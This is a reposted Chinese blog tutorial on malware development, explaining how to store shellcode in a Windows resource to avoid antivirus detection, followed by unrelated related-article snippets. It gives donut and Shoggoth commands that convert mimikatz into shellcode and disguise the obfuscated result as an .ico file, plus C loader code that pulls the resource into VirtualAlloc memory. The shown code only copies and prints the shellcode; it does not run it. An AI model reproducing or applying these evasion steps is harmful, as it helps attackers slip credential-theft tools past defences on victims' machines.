从Resource中加载shellcode

news/2025/1/11 6:48:58/文章来源:https://www.cnblogs.com/o-O-oO/p/18665092

以下文章来源于Relay学安全 ,作者FireGhost

前言

在开发malware过程中通常有两种加载shellcode方式:

1.把shellcode直接以硬编码的方式写入代码中

2.采用分离加载的方式 制作一个shellcode loader 从本地读取shellcode到内存中进行运行。

本文先讲解第一种方式,这个方式有一定的缺陷。

  • 把shellcode与loader放一起编写。即使shellcode 进行了加密与混淆操作,把成品放到vt上进行扫描也很大概率被查杀。

  • 如果要对工具进行免杀,则需把工具 exe转为shellcode 写成c语言格式则有上千行。若把它粘贴到vs2019等IDE去可能会直接程序无响应了。所以可以把转换出来的shellcode可以写进资源(Resource)中。

环境搭建

VS2019
donut  https://github.com/TheWover/donut
Shoggoth https://github.com/frkngksl/Shoggoth 
使用C语言 Win32编程

一、需要的Windows API

HRSRC FindResourceA(
[in, optional] HMODULE hModule,
[in]           LPCSTR  lpName,
[in]           LPCSTR  lpType
);

lpName: 可以使用MAKEINTRESOURCE(ID)获取lpType:RT_RCDATA Application-defined resource (raw data).

HGLOBAL LoadResource([in, optional] HMODULE hModule,[in]           HRSRC   hResInfo
);LPVOID LockResource([in] HGLOBAL hResData
);
LPVOID VirtualAlloc([in, optional] LPVOID lpAddress,[in]           SIZE_T dwSize,[in]           DWORD  flAllocationType,[in]           DWORD  flProtect
);

二、具体步骤

将所需要免杀的工具转成shellcode

donut.exe -i .\mimikatz.exe -o mimi.bin

使用多态加密混淆工具混淆下shellcode

Shoggoth.exe  -i .\mimi.bin -s 1235sfafsf -o mimi_fin.ico

打开VS2019

在资源文件中添加资源文件(rc)

导入生成的mimi_fin.ico(注意后缀名)

输入RCDATA 即可

代码编写

#include <stdio.h>
#include<Windows.h>
#include"resource.h"void PrintHexData(LPCSTR Name, PBYTE Data, SIZE_T Size) {printf("unsigned char %s[] = {", Name);for (int i = 0; i < Size; i++) {if (i % 16 == 0) {printf("\n\t");}if (i < Size - 1) {printf("0x%0.2X, ", Data[i]);}else {printf("0x%0.2X ", Data[i]);}}printf("};\n\n\n");}
int main()
{HRSRC hRSrc = NULL;HGLOBAL hGlobal = NULL;LPVOID  pTmpShellcode = NULL;LPVOID  pShellcode = NULL;size_t sShellcodeSize = 0;hRSrc= FindResource(NULL, MAKEINTRESOURCEW(IDR_RCDATA1), RT_RCDATA);  //确定shellcode资源在模块中的位置if (!hRSrc) {printf("资源未找到!\n");return -1;}hGlobal=LoadResource(NULL, hRSrc);                                     //获取句柄if (!hGlobal) {printf("加载资源失败\n");return -1;}pTmpShellcode =LockResource(hGlobal);                                      //找到资源所在内存中的地址if (!pTmpShellcode) {printf("获取资源中shellcode地址失败");return -1;}sShellcodeSize=SizeofResource(NULL,hRSrc);if (!sShellcodeSize ) {// in case of function failure printf("获取shellcode大小失败\n");return -1;}pShellcode= VirtualAlloc(NULL, sShellcodeSize, MEM_COMMIT, PAGE_READWRITE);if (pShellcode) {MoveMemory(pShellcode, pTmpShellcode, sShellcodeSize);}else{printf("内存分配失败\n");return -1;}printf("[+]pShellcode的地址为:%p\n",pShellcode);printf("[+]sShellcodeSize的大小为%d\n", sShellcodeSize);PrintHexData("shellcode", pShellcode, sShellcodeSize);return 0;
}

总结

这篇文章先讲到把Mimikatz的shellcode加载进内存 。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/867604.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

gRPC:第二代rpc服务

背景 在如今云原生技术的大环境下,rpc服务作为最重要的互联网技术,蓬勃发展,诞生了许多知名基于rpc协议的框架,其中就有本文的主角gRPC技术。一款高性能、开源的通用rpc框架 作者作为一名在JD实习的Cpper,经过一段时间的学习和实践,发现了C++与Java之间的种种不同,这也让…

Tensorflow2.0自定义层

Tensorflow2.0自定义层 tensorflow2.0建议使用tf.keras作为构建神经网络的高级API。 也就是说,大多数TensorFlow API都可用于eager执行模式。 from __future__ import absolute_import, division, print_function, unicode_literals !pip install -q tensorflow==2.0.0-alpha0…

推荐4本书《智能汽车传感器:原理设计应用》、《TVM编译器原理与实践》、《LLVM编译器原理与实践》、《AI芯片开发核心技术详解》

4本书推荐《AI芯片开发核心技术详解》、《智能汽车传感器:原理设计应用》、《TVM编译器原理与实践》、《LLVM编译器原理与实践》由清华大学出版社资深编辑赵佳霓老师策划编辑的新书《AI芯片开发核心技术详解》已经出版,京东、淘宝天猫、当当等网上,相应陆陆续续可以购买。该…

arcpy环境搭建

背景 在ArcMap和ArcGIS Pro中,都可以使用arcpy,但是代码都要在相应环境中运行才行。 环境选择 1.在软件安装目录中运行arcpy 对于ArcMap中,可以直接在以下目录中运行arcpy代码: C:\Python27\ArcGIS10.4 对于ArcGIS Pro,可以在以下目录运行arcpy代码: C:\Program Files\Ar…

arcpy搭建环境

背景 在ArcMap和ArcGIS Pro中,都可以使用arcpy,但是代码都要在相应环境中运行才行。 环境选择 1.在软件安装目录中运行python 对于ArcMap中,可以直接在以下目录中运行arcpy代码: C:\Python27\ArcGIS10.4 对于ArcGIS Pro,可以在以下目录运行arcpy代码: C:\Program Files\A…

20250110-FortuneWheel 攻击事件:竟然不设滑点,那就体验一下 Force Investment 吧

背景信息 攻击交易:https://app.blocksec.com/explorer/tx/bsc/0xd6ba15ecf3df9aaae37450df8f79233267af41535793ee1f69c565b50e28f7da 漏洞合约:https://vscode.blockscan.com/56/0xc86A50d30c2da607DE91375f363DeDFb3086b9D4 FortuneWheel 合约实现了幸运轮盘竞猜功能,合约…

在Ubuntu 20.04上安装Qt 5.15.0

在Ubuntu 20.04上安装Qt 5.15.01 安装必要的依赖项:sudo apt-get install build-essential \libgl1-mesa-dev \libglu1-mesa-dev \libegl1-mesa-dev \libgles2-mesa-dev \libxrandr-dev \libxext-dev \libxtst-dev \libxrender-dev \libxkbfile-dev \libsqlite3-dev \libssl-…

vscode上配置docker 宝塔环境的xdebug环境,经历过的哪些坑(macbook版)

在macbook中配置vscode对docker中宝塔的php代码进行断点设置的常见排查方式先说配置的几个逻辑: 1. vscode是要通过php debug插件启动9003监听端口 2. docker的宝塔启动xdebug后,是将运行信息推送到vscode宿主的9003端口;这里有个难点,docker内的宝塔和vscode不在一个本地,…

[第五空间2019 决赛]PWN5 1

先checksec一下,发现开启了NX和canary保护看一下ida反汇编,发现输入全都有限制,无法造成造成栈溢出。代码最后会与随机数判断,若相等会执行system。我们看到有printf(buf),这可以造成格式字符串漏洞。 如果我们用格式字符串修改随机数的值,再将输入一样的值就可以执行我…

身份鉴权(PHP)

引子:上一章主要对PHP中全局变量做了介绍,其中```$_COOKIE```、```$_SESSION```常常在身份鉴权中被使用。而本章则是由代码具体聊聊在PHP Web中开发者所常使用的身份鉴权方式。免责声明:本文章仅用于交流学习,因文章内容而产生的任何违法&未授权行为,与文章作者无关!…

UE4.27, 揣摩源码, 网络同步 (三) RPC

6. RPC6.1. RPC是网络同步的一部分,全称Remote Procedure Call。属性同步只能从服务端向客户端单向传递信息,而RPC可以双向传递消息  6.2. 类型6.2.1. Server调用,Actor所属的Client执行    6.2.2. Client调用,Server执行    6.2.3. Server调用,Server和所…

Discharging Method

Firstly, we introduce Euler Formula.When we use Euler formula, we often need its transformations.Secondly, we design some discharging rules based on Euler Formula.Finally, we give the principle of Discharging Method in proofs.